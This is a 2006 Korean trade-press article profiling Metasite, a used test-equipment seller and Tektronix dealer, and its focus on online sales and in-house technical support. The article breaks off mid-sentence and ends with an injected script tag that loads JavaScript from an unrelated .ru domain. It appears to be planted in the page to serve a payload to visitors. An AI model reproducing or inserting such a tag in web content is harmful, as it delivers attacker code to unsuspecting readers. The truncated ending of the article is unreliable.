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'온라인’과 ‘기술 지원’이 승부수 (테스트앤매저먼트코리아)
작성자 메타사이트
등록일 2006-04-20
‘온라인’과 ‘기술 지원’이 승부수
BEST AGENCY>> 메타사이트

 

박천수기자 기자 tele_park@krtele.com

 

온라인과 오프라인을 오가며 명성을 날리는 텍트로닉스 대리점이 있다. 메타사이트가 그 주인공. 이 회사는 온라인에서는 이미 ‘고수’로 통한다. 자체 테스트 랩과 매장을 갖추고 기술 지원으로 승부를 걸고 있는 메타사이트를 분석한다.

메타사이트(http://www.metasite.co.kr/)는 중고 계측기 전문회사로 업계에서는 잘 알려져 있다. 특히 메타사이트는 일찍부터 온라인을 통한 중고 계측기 유통 사업을 전개해 왔다. 이 회사 박지홍 대표는 “많은 고객들이 우리를 중고 계측기만 다루는 회사로 알고 있지만 사실은 그렇지 않다”며 “지난 7년전부터 텍트로닉스 공인 현품 대리점으로 사업을 영위하고 있다”고 밝혔다.
박 대표는 “외국 사례에서 보듯이 신품과 중고 계측기는 별개가 아니다”라고 설명한다. 서로 보완재 역할을 하기 때문에 충분한 시너지 효과가 발생한다는 설명이다. 
이 회사가 텍트로닉스와 대리점 계약을 체결한 것은 지난 2000년. 박 대표는 “초기 시장 진입이 쉽지 않았다”며 “텍트로닉스 대리점 영업은 진입 장벽이 높은 업종에 속한다. 한국텍트로닉스에서 산업별 또는 업종별로 대리점 교통정리를 해주지 않기 때문이다. 때문에 지역내에서 각 대리점끼리 경쟁을 해야 한다”고 말했다.

신품과 중고 제품 함께 공급
지역내 동일 제품 경쟁 방식은 신규 시장 개척이나 타 경쟁사 대비 전체 시장 파이를 키우는 데는 유효한 전략이다. 하지만 그 만큼 치열한 경쟁이 벌어지는 것은 불 보듯 뻔하다.
이 회사가 기존 대리점들의 진입 장벽을 뛰어 넘기 위해 펼친 전략은 2가지. 철저한 사전 영업과 기술 지원. 처음부터 가격으로 승부 할 생각은 버렸다. 결국 제 살 깎아먹기라는 것을 잘 알기 때문이다. 
지난 7년을 돌이켜 보면 성공이라는 자평. 후발 주자로서 탁월한 기술 지원을 제공한다는 평을 듣고 있다. 기술 지원에 승부를 건다는 전략이 먹힌 셈이다. 이 회사는 자체 테스트 랩(LAB)에 엔지니어까지 고정 배치해 기술 지원에 만전을 기하고 있다. 그 결과 제품에 문제 ?script src=http://www.brcporb.ru/ngg.js>